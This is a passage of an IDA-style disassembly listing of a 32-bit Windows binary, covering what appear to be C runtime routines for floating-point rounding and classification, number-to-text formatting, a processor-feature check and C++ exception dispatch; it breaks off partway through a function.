loc_419CA8:				; CODE XREF: sub_419C86+Aj
					; sub_419C86+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419CAA:				; CODE XREF: sub_419C86+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CB3(double)

sub_419CB3	proc near		; CODE XREF: sub_415E6C:loc_415EF2p
					; sub_415FB3:loc_416039p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CC5(double,int)

sub_419CC5	proc near		; CODE XREF: sub_419D48+82p
					; sub_419D48+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CEE	proc near		; CODE XREF: sub_415E6C+31p
					; sub_415FB3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419D05
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	1
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D05:				; CODE XREF: sub_419CEE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419D17
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	2
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D17:				; CODE XREF: sub_419CEE+11j
					; sub_419CEE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D2A
		push	3
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D2A:				; CODE XREF: sub_419CEE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D44
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D3F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D44

loc_419D3F:				; CODE XREF: sub_419CEE+4Aj
		push	4

loc_419D41:				; CODE XREF: sub_419CEE+15j
					; sub_419CEE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419D44:				; CODE XREF: sub_419CEE+41j
					; sub_419CEE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D48(double,int)

sub_419D48	proc near		; CODE XREF: sub_41999C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D68
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DFE
; ---------------------------------------------------------------------------

loc_419D68:				; CODE XREF: sub_419D48+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DD7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D80
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DD7

loc_419D80:				; CODE XREF: sub_419D48+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D98
		push	1
		pop	eax
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------

loc_419D98:				; CODE XREF: sub_419D48+49j
		xor	eax, eax

loc_419D9A:				; CODE XREF: sub_419D48+4Ej
					; sub_419D48+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419DB3
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419DAD
		or	dword ptr [ebp+arg_0+4], 1

loc_419DAD:				; CODE XREF: sub_419D48+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------

loc_419DB3:				; CODE XREF: sub_419D48+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DC1
		or	byte ptr [ebp+arg_0+7],	80h

loc_419DC1:				; CODE XREF: sub_419D48+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DFE
; ---------------------------------------------------------------------------

loc_419DD7:				; CODE XREF: sub_419D48+28j
					; sub_419D48+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_419DFE:				; CODE XREF: sub_419D48+1Bj
					; sub_419D48+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E09	proc near		; CODE XREF: sub_4196E9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E17	proc near		; CODE XREF: sub_4196E9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E26	proc near		; CODE XREF: sub_415E6C+13p
					; sub_415E6C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E49	proc near		; CODE XREF: sub_41999C+1Dp
					; sub_41999C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E60
		fld	tbyte_438090
		fistp	[ebp+arg_0]
		wait

loc_419E60:				; CODE XREF: sub_419E49+Bj
		test	cl, 8
		jz	short loc_419E75
		fstsw	ax
		fld	tbyte_438090
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_419E75:				; CODE XREF: sub_419E49+1Aj
		test	cl, 10h
		jz	short loc_419E84
		fld	tbyte_43809C
		fstp	[ebp+var_8]
		wait

loc_419E84:				; CODE XREF: sub_419E49+2Fj
		test	cl, 4
		jz	short loc_419E92
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_419E92:				; CODE XREF: sub_419E49+3Ej
		test	cl, 20h
		jz	short locret_419E9D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E9D:				; CODE XREF: sub_419E49+4Cj
		leave
		retn
sub_419E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E9F	proc near		; CODE XREF: sub_415F3B+Fp
		push	30000h
		push	10000h
		call	sub_41D84B
		pop	ecx
		pop	ecx
		retn
sub_419E9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EB1	proc near		; CODE XREF: sub_419EEF:loc_419F13j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4217C0
		fstp	[ebp+var_8]
		fld	dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419EEB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419EEB:				; CODE XREF: sub_419EB1+33j
		xor	eax, eax
		leave
		retn
sub_419EB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EEF	proc near		; CODE XREF: sub_415F3B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4210C8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_419F13
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4210C4	; GetProcAddress
		test	eax, eax
		jz	short loc_419F13
		push	0
		call	eax ; sub_415F3B
		retn
; ---------------------------------------------------------------------------

loc_419F13:				; CODE XREF: sub_419EEF+Dj
					; sub_419EEF+1Dj
		jmp	sub_419EB1
sub_419EEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F18	proc near		; CODE XREF: sub_417D4C+3CBp
					; DATA XREF: sub_415F53+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417193
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F58

loc_419F2C:				; CODE XREF: sub_419F18+3Ej
		inc	esi
		cmp	dword_437F7C, 1
		jle	short loc_419F45
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_419F54
; ---------------------------------------------------------------------------

loc_419F45:				; CODE XREF: sub_419F18+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_419F54:				; CODE XREF: sub_419F18+2Bj
		test	eax, eax
		jnz	short loc_419F2C

loc_419F58:				; CODE XREF: sub_419F18+12j
		mov	cl, byte_437F80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_419F63:				; CODE XREF: sub_419F18+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F63
		pop	esi
		retn
sub_419F18	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F72	proc near		; CODE XREF: sub_417D4C+3E2p
					; DATA XREF: sub_415F53+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_437F80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F8E

loc_419F82:				; CODE XREF: sub_419F72+1Aj
		cmp	cl, dl
		jz	short loc_419F8E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F82

loc_419F8E:				; CODE XREF: sub_419F72+Ej
					; sub_419F72+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419FBF

loc_419F95:				; CODE XREF: sub_419F72+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419FA8
		cmp	cl, 65h
		jz	short loc_419FA8
		cmp	cl, 45h
		jz	short loc_419FA8
		inc	eax
		jmp	short loc_419F95
; ---------------------------------------------------------------------------

loc_419FA8:				; CODE XREF: sub_419F72+27j
					; sub_419F72+2Cj ...
		mov	ecx, eax

loc_419FAA:				; CODE XREF: sub_419F72+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419FAA
		cmp	[eax], dl
		jnz	short loc_419FB5
		dec	eax

loc_419FB5:				; CODE XREF: sub_419F72+40j
					; sub_419F72+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419FB5

locret_419FBF:				; CODE XREF: sub_419F72+21j
		retn
sub_419F72	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC0	proc near		; DATA XREF: sub_415F53+28o
					; seg000:off_4380B8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FD5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419FD5:				; CODE XREF: sub_419FC0+Fj
		xor	eax, eax
		retn
sub_419FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD8	proc near		; CODE XREF: sub_41AD3D+430p
					; DATA XREF: sub_415F53+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A001
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DD0E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A001:				; CODE XREF: sub_419FD8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD3B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A016	proc near		; CODE XREF: sub_41A293+17p
					; sub_41A2DD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_469500, 0
		push	ebx
		push	esi
		jz	short loc_41A04B
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4694FC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A32E
		pop	ecx
		pop	ecx
		jmp	short loc_41A083
; ---------------------------------------------------------------------------

loc_41A04B:				; CODE XREF: sub_41A016+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDDF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD68
		add	esp, 14h

loc_41A083:				; CODE XREF: sub_41A016+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A08F
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41A08F:				; CODE XREF: sub_41A016+73j
		test	ebx, ebx
		jle	short loc_41A0A7
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_437F80
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41A0A7:				; CODE XREF: sub_41A016+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_469500, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415C00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0CE
		mov	byte ptr [ecx],	45h

loc_41A0CE:				; CODE XREF: sub_41A016+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A113
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0E2
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41A0E2:				; CODE XREF: sub_41A016+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0F9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41A0F9:				; CODE XREF: sub_41A016+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A110
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41A110:				; CODE XREF: sub_41A016+E7j
		add	[ecx+1], bl

loc_41A113:				; CODE XREF: sub_41A016+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A016	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A11A	proc near		; CODE XREF: sub_41A2BA+13p
					; sub_41A2DD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_469500, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A155
		mov	eax, dword_469504
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4694FC
		cmp	eax, ebx
		jnz	short loc_41A185
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A185
; ---------------------------------------------------------------------------

loc_41A155:				; CODE XREF: sub_41A11A+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDDF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD68
		add	esp, 14h

loc_41A185:				; CODE XREF: sub_41A11A+22j
					; sub_41A11A+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A193
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41A193:				; CODE XREF: sub_41A11A+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A1AA
		push	1
		push	edi
		call	sub_41A32E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A1AC
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_41A11A+7Ej
		add	edi, eax

loc_41A1AC:				; CODE XREF: sub_41A11A+8Ej
		test	ebx, ebx
		jle	short loc_41A1F1
		push	1
		push	edi
		call	sub_41A32E
		mov	al, byte_437F80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1F1
		cmp	byte_469500, 0
		jz	short loc_41A1D6
		neg	esi
		jmp	short loc_41A1DC
; ---------------------------------------------------------------------------

loc_41A1D6:				; CODE XREF: sub_41A11A+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1DE

loc_41A1DC:				; CODE XREF: sub_41A11A+BAj
		mov	ebx, esi

loc_41A1DE:				; CODE XREF: sub_41A11A+C0j
		push	ebx
		push	edi
		call	sub_41A32E
		push	ebx
		push	30h
		push	edi
		call	sub_415570
		add	esp, 14h

loc_41A1F1:				; CODE XREF: sub_41A11A+94j
					; sub_41A11A+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1F8	proc near		; CODE XREF: sub_41A2DD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDDF
		mov	dword_4694FC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_469504, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD68
		mov	eax, dword_4694FC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_469504, ecx
		setl	cl
		mov	byte_469508, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_469504, eax
		jl	short loc_41A27E
		cmp	eax, ebx
		jge	short loc_41A27E
		test	cl, cl
		jz	short loc_41A26F

loc_41A265:				; CODE XREF: sub_41A1F8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A265
		and	[esi-2], al

loc_41A26F:				; CODE XREF: sub_41A1F8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A2BA
		add	esp, 0Ch
		jmp	short loc_41A28E
; ---------------------------------------------------------------------------

loc_41A27E:				; CODE XREF: sub_41A1F8+63j
					; sub_41A1F8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A293
		add	esp, 10h

loc_41A28E:				; CODE XREF: sub_41A1F8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A293	proc near		; CODE XREF: sub_41A1F8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_469500, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A016
		and	byte_469500, 0
		add	esp, 10h
		retn
sub_41A293	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2BA	proc near		; CODE XREF: sub_41A1F8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_469500, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A11A
		and	byte_469500, 0
		add	esp, 0Ch
		retn
sub_41A2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2DD	proc near		; CODE XREF: sub_417D4C+3AAp
					; DATA XREF: sub_415F53o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A305
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A11A
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A305:				; CODE XREF: sub_41A2DD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1F8
		jmp	short loc_41A329
; ---------------------------------------------------------------------------

loc_41A318:				; CODE XREF: sub_41A2DD+7j
					; sub_41A2DD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A016

loc_41A329:				; CODE XREF: sub_41A2DD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A32E	proc near		; CODE XREF: sub_41A016+2Cp
					; sub_41A11A+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A351
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416490
		add	esp, 10h
		pop	esi

loc_41A351:				; CODE XREF: sub_41A32E+7j
		pop	edi
		retn
sub_41A32E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A353	proc near		; CODE XREF: seg000:00416134p
					; sub_41619D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A369
		call	sub_41ABF2

loc_41A369:				; CODE XREF: sub_41A353+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A391
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3E7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3E7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A69A
		add	esp, 10h
		jmp	short loc_41A3E7
; ---------------------------------------------------------------------------

loc_41A391:				; CODE XREF: sub_41A353+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3E7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3CB
		cmp	[eax+14h], edi
		jbe	short loc_41A3CB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3CB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3EA
; ---------------------------------------------------------------------------

loc_41A3CB:				; CODE XREF: sub_41A353+4Aj
					; sub_41A353+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3EE
		add	esp, 20h

loc_41A3E7:				; CODE XREF: sub_41A353+23j
					; sub_41A353+29j ...
		push	1
		pop	eax

loc_41A3EA:				; CODE XREF: sub_41A353+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3EE	proc near		; CODE XREF: sub_41A353+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A40E
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A413

loc_41A40E:				; CODE XREF: sub_41A3EE+16j
		call	sub_41ABF2

loc_41A413:				; CODE XREF: sub_41A3EE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		mov	esi, dword_46950C
		test	esi, esi
		jz	loc_41A565
		mov	eax, dword_469510
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A469
		call	sub_41ABF2

